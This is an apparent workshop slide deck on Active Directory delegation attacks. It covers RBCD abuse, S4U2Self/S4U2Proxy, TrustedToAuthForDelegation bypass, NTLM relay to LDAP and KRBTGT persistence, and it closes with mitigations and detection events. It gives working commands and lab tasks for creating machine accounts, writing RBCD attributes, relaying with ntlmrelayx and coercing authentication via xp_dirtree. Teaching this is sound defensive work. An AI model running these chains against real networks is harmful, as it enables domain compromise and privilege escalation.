- The waitress presents **her own** day pass and Alice's bistro ticket
- The ticket office decrypts the day pass and validates it




# RBCD is dangerous

- The ticket office decrypts the bistro ticket and validates it
- The bistro ticket is NON-FORWARDABLE






# RBCD is dangerous

- The ticket office decrypts the bistro ticket and validates it
- The bistro ticket is NON-FORWARDABLE
- The ticket office verifies that the bistro is allowed to impersonate visitors to the bar through RBCD






# RBCD is dangerous

- The ticket office creates a bar ticket for Alice



# RBCD is dangerous

- The ticket office creates a bar ticket for Alice
- The ticket office encrypts the bar ticket



# RBCD is dangerous

- The waitress goes to the bar with the ticket



# RBCD is dangerous

- The waitress goes to the bar with the ticket
- The waitress presents the ticket to the bar tender

## Beer@Luna Bar

Zepmh Jvsq> 8383;9 =>44 EQ  
Zepmh Yrxmp> 8383;9 ;>44 TQ  
Jpekw> JSV[EVHEFPI, VIRI[EFPI  
Reqi> Epmgi Zergi  
HSF> 737394  
Limklx> 52:9q  
Kvsytw> Vsppivgsewxiv, Jivvmw [liip,  
Fyqtiv Gevw, Qivv} Ks Vsyrh, Pyrgl,  
Lett}1Lsyv



# RBCD is dangerous

- The waitress goes to the bar with the ticket
- The waitress presents the ticket to the bar tender
- The bar tender decrypts the ticket

## Beer@Luna Bar

Valid From: 4/4/75 9:00 AM  
Valid Until: 4/4/75 7:00 PM  
Flags: FORWARDABLE, RENEWABLE  
Name: Alice Vance  
DOB: 3/3/50  
Height: 1.65m  
Groups: Rollercoaster, Ferris Wheel,  
Bumper Cars, Merry Go Round, Lunch,  
Happy-Hour



# RBCD is dangerous

- The waitress goes to the bar with the ticket
- The waitress presents the ticket to the bar tender
- The bar tender decrypts the ticket and validates it
- The bar tender serves the waitress a beer for Alice


## Beer@Luna Bar

Valid From: 4/4/75 9:00 AM  
Valid Until: 4/4/75 7:00 PM  
Flags: FORWARDABLE, RENEWABLE  
Name: Alice Vance  
DOB: 3/3/50  
Height: 1.65m  
Groups: Rollercoaster, Ferris Wheel,  
Bumper Cars, Merry Go Round, Lunch,  
[Happy-Hour](#)



# RBCD is dangerous


- The waitress gets a drink



## Generic RBCD abuse

- Generalized ACL-based computer object takeover primitive
- Need only an Access Control Entry (ACE) and an account with an SPN
  - S4U2Self requires an SPN
- By default, all domain users can create 10 computer accounts
  - msDS-MachineAccountQuota
- SPNs are trivial to obtain

# Generic RBCD abuse



# The toolset

- Viewing RBCD configuration:

- PowerShell Active Directory Module:

```
Get-ADComputer target_computer -Properties PrincipalsAllowedToDelegateToAccount
```

```
Get-ADUser target_user -Properties PrincipalsAllowedToDelegateToAccount
```

- PowerView:

```
$RawBytes = Get-DomainComputer "target_computer" -Properties 'msds-allowedtoactonbehalfofotheridentity'  
| select -expand msds-allowedtoactonbehalfofotheridentity  
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0  
$Descriptor.DiscretionaryAcl
```

```
$RawBytes = Get-DomainUser "target_user" -Properties 'msds-allowedtoactonbehalfofotheridentity' |  
select -expand msds-allowedtoactonbehalfofotheridentity  
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RawBytes, 0  
$Descriptor.DiscretionaryAcl
```

- Credit to Will Schroeder ([@harmj0y](#)) for putting those together

# The toolset

- Creating a new computer account:

- Using Powermad:

```
New-MachineAccount -MachineAccount attacker_account -Password  
$(ConvertTo-SecureString 'Defcon27!' -AsPlainText -Force)
```

- Calculating the Kerberos key for your new account:

- Rubeus.exe hash /password:Defcon27! /user:attacker\_account\$ /domain:fqdn

# The toolset

- Configuring RBCD on an object:

- PowerShell Active Directory Module:

```
Set-ADComputer target_computer -PrincipalsAllowedToDelegateToAccount  
attacker_account$
```

- PowerView:

```
$AttackerSid = Get-DomainComputer attacker_account -Properties objectsid | Select -  
Expand objectsid  
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList  
"O:BAD:(A;;CCDCLCSWRPWPDTLOCSDRCWDWO;;$($AttackerSid))"  
$SDBytes = New-Object byte[] ($SD.BinaryLength)  
$SD.GetBinaryForm($SDBytes, 0)  
Get-DomainComputer "target_computer" | Set-DomainObject -Set @{'msds-  
allowedtoactonbehalfofotheridentity'=$SDBytes}
```

- Credit to Will Schroeder ([@harmj0y](#)) for putting those together

## Lab: Generic RBCD abuse

- **Objective:** Abuse the control you have over the computer object of Service B to compromise the host
- **Tasks:**
  - Create a new computer account
  - Configure RBCD from the new computer account to Service B
  - Execute a full S4U attack against Service B to obtain a service ticket for Administrator to CIFS at Service B
  - Pass the ticket and gain access to C\$ on Service B
  - Execute a full S4U attack against Service B to obtain a service ticket for Sensitive Admin to CIFS at Service B


## S4U2Silver

- S4U2Self works for any account with an SPN
- A TGT is all that's required
  - Explicit credentials are not required, but can be used to obtain a TGT
- The obtained service ticket does not have a usable service name
- The service name is in the clear-text part of the ticket
  - Can be modified to a valid service class
- The resulting service ticket is usable
  - And it has a valid KDC signature in the PAC
- Works for users marked as “sensitive for delegation”
- Credit to Will Schroeder ([@harmj0y](#)) for the name “S4U2Silver”

## Unconstrained RCE

- Use the “printer bug” to coerce authentication from the target host to a compromised host with unconstrained delegation
- Obtain the target host's TGT
- Use the target host's TGT to invoke S4U2Silver for an admin user to the target host
  - Can impersonate sensitive users as well

## RCE with unconstrained delegation



## The toolset

- Substituting the service class on a service ticket

```
Rubeus.exe tgssub /ticket:[Base64_blob OR path_to_file]  
/altservice:new_SPN [/ptt]
```

## Lab: Unconstrained RCE

- **Objective:** Use a computer account TGT to gain RCE to the host
- **Tasks:**
  - Invoke S4U2Self using the TGT obtained from Service B to produce a service ticket for Sensitive Admin
  - Modify the service name on the ticket to turn it into a valid service ticket to CIFS
  - Gain privileged access to Service B


## Did Bill make a mistake?

- Bill sets up classic constrained delegation from the bistro to the bar



## Did Bill make a mistake?


- Bill sets up classic constrained delegation from the bistro to the bar
- Bill is a bit suspicious of the waitress and decides not to enable TrustedToAuthForDelegation for the bistro



## Did Bill make a mistake?

- The waitress is thirsty
- The waitress conspires with the rollercoaster operator


I'll tell the ticket office that the bistro trusts the rollercoaster for delegation



## Did Bill make a mistake?


- The waitress is thirsty
- The waitress conspires with the rollercoaster operator

And then you  
will obtain a  
bistro ticket for  
Alice and give  
it to me



## TrustedToAuthForDelegation bypass

- The waitress sets RBCD from the rollercoaster to the bistro




## TrustedToAuthForDelegation bypass

- The rollercoaster operator goes to the ticket office




## TrustedToAuthForDelegation bypass

- The rollercoaster operator goes to the ticket office
- The rollercoaster operator presents **his own** day pass and requests a rollercoaster ticket for Alice




## TrustedToAuthForDelegation bypass

- The rollercoaster operator goes to the ticket office
- The rollercoaster operator presents **his own** day pass and requests a rollercoaster ticket for Alice
- The ticket office decrypts the day pass and validates it




TrustedToAuthForDelegation bypass

- The ticket office creates a rollercoaster ticket for Alice




## TrustedToAuthForDelegation bypass

- The ticket office creates a rollercoaster ticket for Alice
- The ticket office encrypts the ticket with the rollercoaster's key





## TrustedToAuthForDelegation bypass

- The rollercoaster operator goes to the ticket office
- The rollercoaster operator presents **his own** day pass and Alice's rollercoaster ticket





## TrustedToAuthForDelegation bypass

- The rollercoaster operator goes to the ticket office
- The rollercoaster presents operator **his own** day pass and Alice's rollercoaster ticket
- The ticket office decrypts the day pass and validates it





## TrustedToAuthForDelegation bypass

- The ticket office decrypts the rollercoaster ticket and validates it
- The rollercoaster ticket is NON-FORWARDABLE




## TrustedToAuthForDelegation bypass

- The ticket office decrypts the rollercoaster ticket and validates it
- The rollercoaster ticket is NON-FORWARDABLE
- The ticket office verifies that the rollercoaster is allowed to impersonate visitors to the bistro through RBCD





TrustedToAuthForDelegation bypass

- The ticket office creates a bistro ticket for Alice



## TrustedToAuthForDelegation bypass

- The ticket office creates a bistro ticket for Alice
- The ticket office encrypts the bistro ticket





## TrustedToAuthForDelegation bypass

- The rollercoaster operator gives Alice's bistro ticket to the waitress





## TrustedToAuthForDelegation bypass

- The waitress goes to the ticket office
- The waitress presents **her own** day pass and Alice's bistro ticket






## TrustedToAuthForDelegation bypass

- The waitress goes to the ticket office
- The waitress presents **her own** day pass and Alice's bistro ticket
- The ticket office decrypts the day pass and validates it




## TrustedToAuthForDelegation bypass

- The ticket office decrypts the bistro ticket and validates it
- The bistro ticket is FORWARDABLE






## TrustedToAuthForDelegation bypass

- The ticket office decrypts the bistro ticket and validates it
- The bistro ticket is FORWARDABLE
- The ticket office verifies that the bistro is allowed to impersonate visitors to the bar through classic constrained delegation






## TrustedToAuthForDelegation bypass

- The ticket office creates a bar ticket for Alice




## TrustedToAuthForDelegation bypass

- The ticket office creates a bar ticket for Alice
- The ticket office encrypts the bar ticket



## TrustedToAuthForDelegation bypass

- The waitress goes to the bar with the ticket



## TrustedToAuthForDelegation bypass

- The waitress goes to the bar with the ticket
- The waitress presents the ticket to the bar tender

### Beer@Luna Bar

Zepmh Jvsq> 8383;9 =>44 EQ  
Zepmh Yrxmp> 8383;9 ;>44 TQ  
Jpekw> JSV[EVHEFPI, VIRI[EFPI  
Reqi> Epmgi Zergi  
HSF> 737394  
Limklx> 52:9q  
Kvsytw> Vsppivgsewxiv, Jivvmw [liip,  
Fyqtiv Gevw, Qivv} Ks Vsyrh, Pyrgl,  
Lett}1Lsyv



## TrustedToAuthForDelegation bypass

- The waitress goes to the bar with the ticket
- The waitress presents the ticket to the bar tender
- The bar tender decrypts the ticket

### Beer@Luna Bar

Valid From: 4/4/75 9:00 AM  
Valid Until: 4/4/75 7:00 PM  
Flags: FORWARDABLE, RENEWABLE  
Name: Alice Vance  
DOB: 3/3/50  
Height: 1.65m  
Groups: Rollercoaster, Ferris Wheel,  
Bumper Cars, Merry Go Round, Lunch,  
Happy-Hour



## TrustedToAuthForDelegation bypass

- The waitress goes to the bar with the ticket
- The waitress presents the ticket to the bar tender
- The bar tender decrypts the ticket and validates it
- The bar tender serves the waitress a beer for Alice


### Beer@Luna Bar

Valid From: 4/4/75 9:00 AM  
Valid Until: 4/4/75 7:00 PM  
Flags: FORWARDABLE, RENEWABLE  
Name: Alice Vance  
DOB: 3/3/50  
Height: 1.65m  
Groups: Rollercoaster, Ferris Wheel,  
Bumper Cars, Merry Go Round, Lunch,  
[Happy-Hour](#)



## TrustedToAuthForDelegation bypass


- The waitress gets a drink



## TrustedToAuthForDelegation bypass

- Every resource has the right to configure RBCD for itself
- RBCD doesn't require TrustedToAuthForDelegation to be set to perform protocol transition
  - S4U2Proxy for RBCD doesn't require a forwardable service ticket
- S4U2Proxy always produces a forwardable service ticket
  - Even if provided with a non-forwardable service ticket
- S4U2Proxy for classic constrained delegation requires a forwardable service ticket and the target service to be listed in msDS-AllowedToDelegateTo

## TrustedToAuthForDelegation bypass



## Lab: TrustedToAuthForDelegation Bypass


- **Objective:** Perform “protocol transition” without TrustedToAuthForDelegation
- **Tasks:**
  - Configure RBCD from the computer account you created to Service B
  - Execute a full S4U attack against Service B to obtain a service ticket for Administrator to CIFS at Service B
  - Invoke S4U2Proxy using the TGT obtained in lab 1 and the service ticket obtained in the previous step to impersonate Administrator to CIFS at Service C
  - Pass the ticket and gain access to C\$ on Service C

## Unconstrained domain persistence

- Once we compromise the domain, we can configure RBCD from any compromised account to KRBTGT
  - The account must have a SPN
  - Can create a new account
- Perform a full S4U attack to impersonate users from the chosen compromised account to KRBTGT
  - The resulting service ticket is in fact a TGT!
  - Can obtain a TGT for any user, even if KRBTGT is reset twice
- A new way to forge golden tickets



## Unconstrained domain persistence




## Bill is smart

- When visitors authenticate with an operator without going to the ticket office, their secret code may be disclosed
  - Someone may eavesdrop
  - The operator may steal it
- Bill invents the LUNA protocol to address this
- LUNA is a challenge-response protocol
- Add a random challenge to the visitor's secret code




# The LUNA Protocol

- Alice's secret code is 1234




# The LUNA Protocol

- Alice's secret code is 1234
- Alice asks to authenticate



# The LUNA Protocol

- Alice's secret code is 1234
- Alice asks to authenticate
- The waitress picks a random number – 4321



# The LUNA Protocol

- Alice's secret code is 1234
- Alice asks to authenticate
- The waitress picks a random number – 4321
- Alice is presented with a challenge





**What is your secret  
code plus 4321?**



# The LUNA Protocol

- Alice's secret code is 1234
- Alice asks to authenticate
- The waitress picks a random number – 4321
- Alice is presented with a challenge
- Alice calculates the response



# The LUNA Protocol

- Alice's secret code is 1234
- Alice asks to authenticate
- The waitress picks a random number – 4321
- Alice is presented with a challenge
- Alice calculates the response



## The LUNA Protocol

- The waitress goes to the ticket office to validate Alice's response



## The LUNA Protocol

- The waitress goes to the ticket office to validate Alice's response
- The ticket office calculates the appropriate response



## The LUNA Protocol

- The waitress goes to the ticket office to validate Alice's response
- The ticket office calculates the appropriate response and confirms



# The LUNA Protocol

- The waitress confirms



**That's correct.  
Thank you!**




# The LUNA Protocol

- The waitress confirms
- The waitress can now proceed with S4U2Self to determine whether Alice is entitled for lunch
- And with S4U2Proxy, if required



# (Net)NTLM 101

- Challenge-response protocol
  - Inspired by LUNA (not really)
- Prevents replay attacks
- The server doesn't get the password/NTLM hash



## (Net)NTLM versions

- NetNTLMv1 encrypts the challenge with DES
  - The NTLM hash is the key
  - Split into 3
  - Vulnerable to divide and conquer
    - NTLM hash recovery almost guaranteed
    - Credit to Moxie Marlinspike ([@moxie](#)) and David Hulton ([@0x31337](#))
- NetNTLMv2 uses HMAC-MD5
  - Salted – client challenge, time, target info, attributes, etc.
  - The NTLM hash is the key
- Both are vulnerable to offline password attacks if intercepted


## Eve is evil

- Eve is not a member of the lunch group
- Eve wants to try Luna Bistro's famous burger



## The “LUNA Relay” attack

- Eve waits at the entrance for a visitor to arrive



## The “LUNA Relay” attack

- Eve waits at the entrance for a visitor to arrive
- Alice arrives



## The “LUNA Relay” attack

- Eve waits at the entrance for a visitor to arrive
- Alice arrives
- Eve pretends to work at the bistro




## The “LUNA Relay” attack

- Eve waits at the entrance for a visitor to arrive
- Alice arrives
- Eve pretends to work at the bistro
- Alice requests to authenticate



## The “LUNA Relay” attack

- Eve relays Alice's information to the waitress inside



## The “LUNA Relay” attack

- Eve relays Alice's information to the waitress inside
- The waitress picks a random number - 6543
- Eve is presented with a challenge



## The “LUNA Relay” attack

- Eve relays the challenge to Alice



## The “LUNA Relay” attack

- Eve relays the challenge to Alice
- Alice calculates the response




## The “LUNA Relay” attack

- Eve relays the challenge to Alice
- Alice calculates the response



## The “LUNA Relay” attack

- Eve relays Alice's response to the waitress inside



## The “LUNA Relay” attack

- The waitress goes to the ticket office to validate Eve's response



## The “LUNA Relay” attack

- The waitress goes to the ticket office to validate Eve's response
- The ticket office calculates the appropriate response



## The “LUNA Relay” attack

- The waitress goes to the ticket office to validate Eve's response
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## The “LUNA Relay” attack

- The waitress confirms




**That's correct.  
Thank you!**



## The “LUNA Relay” attack

- The waitress confirms
- The waitress can now proceed with S4U2Self to determine whether Alice is entitled for lunch
- And with S4U2Proxy, if required




## The “LUNA Relay” attack

- Eve sends Alice away



# NTLM Relay 101

- Relay the NetNTLM challenge-response
- Must be in a man-in-the-middle position
- No need to obtain the password/hash of the victim



## It's more complicated than that

- NetNTLM also supports signing/sealing
- A session key can be exchanged during the handshake
- The exchange is encrypted using the client's NTLM hash as key
- If signing is negotiated, the attacker can authenticate successfully via NTLM relay
  - But the session will not be usable without being able to sign the subsequent messages

# NTLM Relay 201

- When relaying NetNTLM messages, why not just reset the Negotiate Sign flag?

```
> Host name: DC1
> Session Key: 4df63818fff3dc782895bb89240d52e4
✓ Negotiate Flags: 0xe2888215, Negotiate 56, Negotiate Key Exchange, Negotiate 128, Negotiate Version, N
  1.... .... .... .... .... .... = Negotiate 56: Set
  .1.... .... .... .... .... .... = Negotiate Key Exchange: Set
  ..1.... .... .... .... .... .... = Negotiate 128: Set
  ...0.... .... .... .... .... .... = Negotiate 0x10000000: Not set
  ....0.... .... .... .... .... .... = Negotiate 0x08000000: Not set
  ....0.... .... .... .... .... .... = Negotiate 0x04000000: Not set
  ....1.... .... .... .... .... .... = Negotiate Version: Set
  ....0.... .... .... .... .... .... = Negotiate 0x01000000: Not set
  ....1.... .... .... .... .... .... = Negotiate Target Info: Set
  ....0.... .... .... .... .... .... = Request Non-NT Session: Not set
  ....0.... .... .... .... .... .... = Negotiate 0x00200000: Not set
  ....0.... .... .... .... .... .... = Negotiate Identify: Not set
  ....1.... .... .... .... .... .... = Negotiate Extended Security: Set
  ....0.... .... .... .... .... .... = Target Type Share: Not set
  ....0.... .... .... .... .... .... = Target Type Server: Not set
  ....0.... .... .... .... .... .... = Target Type Domain: Not set
  ....1.... .... .... .... .... .... = Negotiate Always Sign: Set
  ....0.... .... .... .... .... .... = Negotiate 0x00004000: Not set
  ....0.... .... .... .... .... .... = Negotiate OEM Workstation Supplied: Not set
  ....0.... .... .... .... .... .... = Negotiate OEM Domain Supplied: Not set
  ....0.... .... .... .... .... .... = Negotiate Anonymous: Not set
  ....0.... .... .... .... .... .... = Negotiate NT Only: Not set
  ....1.... .... .... .... .... .... = Negotiate NTLM key: Set
  ....0.... .... .... .... .... .... = Negotiate 0x00000100: Not set
  ....0.... .... .... .... .... .... = Negotiate Lan Manager Key: Not set
  ....0.... .... .... .... .... .... = Negotiate Datagram: Not set
  ....0.... .... .... .... .... .... = Negotiate Seal: Not set
  ....1.... .... .... .... .... .... = Negotiate Sign: Set
  ....0.... .... .... .... .... .... = Request 0x00000008: Not set
  ....1.... .... .... .... .... .... = Request Target: Set
  ....0.... .... .... .... .... .... = Negotiate OEM: Not set
  ....1.... .... .... .... .... .... = Negotiate UNICODE: Set
```

## NTLM Relay 201

- When relaying NetNTLM messages, why not just reset the Negotiate Sign flag?
- The MIC is a HMAC of all three NetNTLM messages signed with the session key
- It is a later addition – not supported by XP/2003 and prior
- Why not just remove it?

```
..... = Negotiate Seal: Not set
..... = Negotiate Sign: Set
..... = Request 0x00000008: Not set
..... = Request Target: Set
..... = Negotiate OEM: Not set
..... = Negotiate UNICODE: Set
> Version 10.0 (Build 14393): NTLM Current Revision 15
MIC: ab5e1467ff089594f45f7baba916f1bc
```

# NTLM Relay 201

- A flag indicating that the MIC is present is part of the salt in NetNTLMv2
  - If this flag is modified, the response is no longer valid
  - NetNTLMv1 responses are not salted
    - But NetNTLMv1 is vulnerable to divide and conquer anyway
  - Many tried, many failed

## Drop the MIC - CVE-2019-1040

- Discovered by Marina Simakov from Preempt
- If both the Version and the MIC are dropped, it would work!

```
> Version 10.0 (Build 14393): NTLM Current Revision 15  
MIC: ab5e1467ff089594f45f7baba916f1bc
```

- Can reset the Negotiate Sign flag and relay

## Reflective relay is dead

- Reflective relay used to be a RCE vector
  - Patched around MS08-068 – not only!
- Cross-protocol reflective relay was still viable
  - Weaponized in “Hot Potato” – patched in MS16-075
  - “Rotten Potato” is still alive and kicking – but it works differently

## Reflective relay is dead

- Reflective relay used to be a RCE vector
  - Patched around MS08-068 – not only!
- Cross-protocol reflective relay was still viable
  - Weaponized in “Hot Potato” – patched in MS16-075
  - “Rotten Potato” is still alive and kicking – but it works differently
- What can still be done by relaying a computer account logon?
- Seems to be useless – unless the computer account itself has access to useful resources
- Primitives to force machine accounts to authenticate over the network are not common (publicly)

## Think outside the box

- Resources can configure RBCD for themselves
- Including computer accounts
- Can be done over LDAP
- Can relay to LDAP?
  - Only if the client does not negotiate signing
  - If so, it can be weaponized!
- Coercing a computer account connection is a valuable primitive again!

## Drop the MIC abuse

- The idea to trigger an SMB connection through the “printer bug” and relay it to LDAP was initially published within “[Wagging the Dog](#)”
- Beautiful weaponization by Dirk-jan Mollema ([@\\_dirkjan](#))
- The chain:
  - Printer bug
  - Drop the MIC + reset Negotiate Sign
  - Relay to LDAP
  - Configure RBCD on the target host
  - Perform full S4U attack
  - RCE

# Viable Primitives

- Drop the MIC is patched, and no longer viable
- What is still viable?
  - NetNTLMv1
    - Printer bug + divide and conquer = RCE through silver tickets
      - Credit to Tim McGuffin ([@NotMedic](#))
      - NetNTLMv1 is disabled by default
    - Target hosts that don't support MIC – XP/2003 and prior
    - **A client that doesn't negotiate signing – WebClient, including WebDAV**
      - The printer bug coerces SMB traffic – always negotiates signing
      - Need other primitives

# WebClient Authentication

- By default, when the WebClient needs to authenticate, it uses the default credentials (from the Windows logon session) for targets in the Intranet Zone and the Trusted Zone
  - For targets in the Internet Zone, the client prompts the user for credentials
- The Dot Rule: “If the URI doesn’t contain any periods then it is mapped to the Local Intranet Zone”
- How can you control such a URI?
  - Compromise one
  - Make your own

## ADIDNS

- Active Directory Integrated DNS
- Extensively explored by Kevin Robertson ([@NetSPI](#))
- By default, any domain user can create new DNS records
- We can create records for our relay server

Let's find some primitives

## MSSQL stored procedures

- SQL Servers have several stored procedures that take UNC paths
- By default, authenticated users can make use of XP\_DIRTREE, which allows getting directory listings
- The WebDAV client is not installed on all servers by default
  - Requires the “Desktop Experience” or “WebDAV Redirector” feature
  - Installed on workstations by default


## MSSQL RCE/LPE

- Conditions:
  - A user account that can authenticate and invoke XP\_DIRTREE (or similar)
  - The MSSQL service is running as Network Service, Local System, or Virtual Account (default)
  - The WebDAV client is installed and running

## MSSQL RCE/LPE

- Compromise an account with an SPN or create one
- Add an ADIDNS record, if required
- Login to the MSSQL service on the target host
- Invoke XP\_DIRTREE to trigger a WebDAV connection to the relay server
- Perform NTLM relay to LDAP on the DC
- Configure RBCD to the target host
- Perform a full S4U attack

# MSSQL RCE/LPE



# The toolset

- Adding a new ADIDNS Record:
  - Using Powermad:

```
Invoke-DNSUpdate -DNSType A -DNSName attacker_hostname -DNSData attacker_ip -Username attacker_account -Realm domain_name
```
- Delete an existing record:
  - Using Powermad:

```
Invoke-DNSUpdate -DNSType A -DNSName attacker_hostname -Username attacker_account -Realm domain_name
```
- Matt Bush's Lightweight WebDAV relay tool:  
(<https://gist.github.com/3xocyte/4ea8e15332e5008581febdb502d0139c>)  
`rbcn_relay.py ip_or_hostname_of_DC domain_name name_of_account_to_relay attacker_account`
- ntlmrelayx:  
`ntlmrelayx.py -t ldaps://ip_or_hostname_of_DC --delegate-access`
- Impacket MSSQL client:  
`mssqlclient.py domain_name/username@hostname_or_IP -windows-auth xp_dirtree "\\\attacker_hostname@80\whatever"`

## Lab: MSSQL RCE/LPE

- **Objective:** Gain RCE on Service B via SQL Server
- **Tasks:**
  - Reset the RBCD configuration on Service B
  - Use Powermad's Invoke-DNSUpdate.ps1 to add an ADIDNS record for your Ubuntu box
  - Run the rbcd\_relay.py tool to configure RBCD from the computer account you created to Service B
  - Connect to the SQL Server on Service B and invoke xp\_dirtree to coerce a connection to WebDAV on port 80 on your Ubuntu box
  - Check the RBCD configuration on Service B
  - Execute a full S4U attack on Service B to impersonate Administrator and gain access to C\$ on Service B from Service A

## Windows 10/2016/2019 LPE

- When users change their account profile picture, ultimately SYSTEM opens the file to read its attributes
- Can load files from a UNC path, including WebDAV
- That's all it takes!
- Affects Windows 10/2016/2019
  - Requires the WebDAV Redirector
  - Installed on all Windows 10 hosts by default

# Windows 10/2016/2019 LPE

Process Monitor - Sysinternals: www.sysinternals.com

File Edit Event Filter Tools Options Help

Event Properties

Event Process Stack

Date: 1/3/2019 1:54:54.4600647 AM  
 Thread: 5024  
 Class: File System  
 Operation: CreateFile  
 Result: SUCCESS  
 Path: C:\Users\elad\Desktop\photo.jpg  
 Duration: 0.0000140

Desired Access: Read Attributes

Disposition: Open  
 Options: Open Reparse Point  
 Attributes: n/a  
 ShareMode: Read, Write, Delete  
 AllocationSize: n/a  
 OpenResult: Opened

Event Properties

Event Process Stack

Image  
 COM Surrogate Microsoft Corporation  
 Name: DllHost.exe  
 Version: 10.0.14393.0 (rs1\_release.160715-1616)  
 Path: C:\Windows\system32\DllHost.exe

Command Line:  
 C:\Windows\system32\DllHost.exe /Processid:{133EAC4F-5891-4D04-BADA-D848703}

PID: 5008 Architecture: 64-bit  
 Parent PID: 820 Virtualized: False  
 Session ID: 0 Integrity: System  
 User: NT AUTHORITY\SYSTEM

Auth ID: 00000000:000003e7  
 Started: 1/3/2019 1:54:54 AM Ended: 1/3/2019 1:55:29 AM

Modules:


Module	Address	Size	Path
dllhost.exe	0x7ff7ccad0000	0x9000	C:\Windows\System32\dllhost.exe
TaskSchdPS.dll	0x7ff9f6e40000	0x12000	C:\Windows\System32\TaskSchdPS.dll
actnrmv.dll	0x7ffa47000000	0x365000	C:\Windows\System32\actnrmv.dll

Showing 52 of 204,996 events (0.025%)

Copy All Close

Copy All Close

# Windows 10/2016/2019 LPE



## The toolset

- Matt Bush's Lightweight WebDAV relay tool  
(<https://gist.github.com/3xocyte/4ea8e15332e5008581febdb502d0139c>):
  - `rbcn_relay.py ip_or_hostname_of_DC domain_name name_of_account_to_relay attacker_account`
- Use the filename dummy.JPG
- Example path: \\relayserver@80\folder\dummy.JPG

## Lab: Windows 10/2016/2019 LPE

- **Objective:** Escalate your privileges on Service B
- **Tasks:**
  - Reset the RBCD configuration on Service B
  - Run the `rbcד_relay.py` tool to configure RBCD from the computer account you created to Service B
  - RDP into Service B with your low-privileged user
  - Change your user's account profile picture to a WebDAV path on your Ubuntu box
  - Check the RBCD configuration on Service B
  - Execute a full S4U attack on Service B to impersonate Administrator and gain access to C\$ on Service B from Service A

## WPAD attack chain

- An amazing attack chain by Dirk-jan Mollema ([@\\_dirkjan](#))
- By default, IPv6 is enabled on all Windows hosts
  - If an IPv6 address is not assigned, it continuously broadcasts for one
  - mitm6
- WPAD poisoning allows modifying proxy settings
  - Runs as Local Service – no authentication
  - Proxy authentication is possible, and it is WebClient!
- Relay machine account to LDAP
- Configure RBCD
- Perform a full S4U attack

Found more primitives?  
Tell us!

## Bill is smart

- Bill owned his mistake and fixed it
- S4U2Proxy will no longer produce a FORWARDABLE ticket from a NON-FORWARDABLE ticket
- Bill imposed more strict restrictions on who is allowed to set up RBCD
- Visitors were advised not to hand over their day passes to operators and Bill abolished unconstrained delegation altogether
- The LUNA protocol was upgraded to enforce signing



Microsoft took a different approach



# Mitigating Controls

- Mark privileged accounts as “sensitive for delegation” or add them to the “Protected Users” Active Directory group
  - What about computer accounts?
- Avoid using unconstrained delegation
- Enforce LDAP signing with channel binding
- Deny “Self” from configuring RBCD
- Deny everyone from configuring RBCD!

# Detection – S4U2Self

- Service ticket request event
- Account is the same as service

Event Properties - Event 4769, Microsoft Windows security auditing.

General		Details	
A Kerberos service ticket was requested.			
Account Information:		Service Information:	
Account Name:	servicea\$@SHENANIGANS.LABS	Service Name:	SERVICEA\$
Account Domain:	SHENANIGANS.LABS	Service ID:	SHENANIGANS\SERVICEA\$
Logon GUID:	{0ba6f7f0-97b0-a2fd-7eb4-e845149d7efe}		
Network Information:			
Client Address:	::ffff:172.31.15.17	Client Port:	49752
Additional Information:			
Ticket Options:	0x40800018	Ticket Encryption Type:	0x12
Failure Code:	0x0	Transited Services:	-
This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.			
This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.			
Ticket options, encryption types, and failure codes are defined in RFC 4120.			
Log Name:	Security	Source:	Microsoft Windows security
Event ID:	4769	Logged:	1/6/2019 5:37:03 AM
Level:	Information	Task Category:	Kerberos Service Ticket Operation:
User:	N/A	Keywords:	Audit Success
OpCode:	Info	Computer:	DC1.shenanigans.labs
More Information: <a href="#">Event Log Online Help</a>			
<b>Copy</b>	<b>Close</b>		

# Detection – S4U2Proxy


- Service ticket request event
- Transited Services is not blank

Event Properties - Event 4769, Microsoft Windows security auditing.

General		Details																					
<p>A Kerberos service ticket was requested.</p> <p><b>Account Information:</b></p> <table> <tr> <td>Account Name:</td> <td>servicea\$@SHENANIGANS.LABS</td> </tr> <tr> <td>Account Domain:</td> <td>SHENANIGANS.LABS</td> </tr> <tr> <td>Logon GUID:</td> <td>{0ba6f7f0-97b0-a2fd-7eb4-e845149d7efe}</td> </tr> </table> <p><b>Service Information:</b></p> <table> <tr> <td>Service Name:</td> <td>SERVICEBS</td> </tr> <tr> <td>Service ID:</td> <td>SHENANIGANS\SERVICEBS\$</td> </tr> </table> <p><b>Network Information:</b></p> <table> <tr> <td>Client Address:</td> <td>::ffff:172.31.15.17</td> </tr> <tr> <td>Client Port:</td> <td>49753</td> </tr> </table> <p><b>Additional Information:</b></p> <table> <tr> <td>Ticket Options:</td> <td>0x40820010</td> </tr> <tr> <td>Ticket Encryption Type:</td> <td>0x12</td> </tr> <tr> <td>Failure Code:</td> <td>0x0</td> </tr> </table> <p><b>Transited Services:</b> servicea\$@SHENANIGANS.LABS</p>				Account Name:	servicea\$@SHENANIGANS.LABS	Account Domain:	SHENANIGANS.LABS	Logon GUID:	{0ba6f7f0-97b0-a2fd-7eb4-e845149d7efe}	Service Name:	SERVICEBS	Service ID:	SHENANIGANS\SERVICEBS\$	Client Address:	::ffff:172.31.15.17	Client Port:	49753	Ticket Options:	0x40820010	Ticket Encryption Type:	0x12	Failure Code:	0x0
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Account Domain:	SHENANIGANS.LABS																						
Logon GUID:	{0ba6f7f0-97b0-a2fd-7eb4-e845149d7efe}																						
Service Name:	SERVICEBS																						
Service ID:	SHENANIGANS\SERVICEBS\$																						
Client Address:	::ffff:172.31.15.17																						
Client Port:	49753																						
Ticket Options:	0x40820010																						
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Failure Code:	0x0																						
<p>This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.</p> <p>This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.</p> <p>Ticket options, encryption types, and failure codes are defined in RFC 4120.</p>																							
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		<input type="button" value="Copy"/> <input type="button" value="Close"/>																					

# Detection – RBCD

- Requires configuring a SACL




## Detection – KRBTGT Persistence

- Service ticket request event
- Service name is krbtgt
- Transited Services is not blank

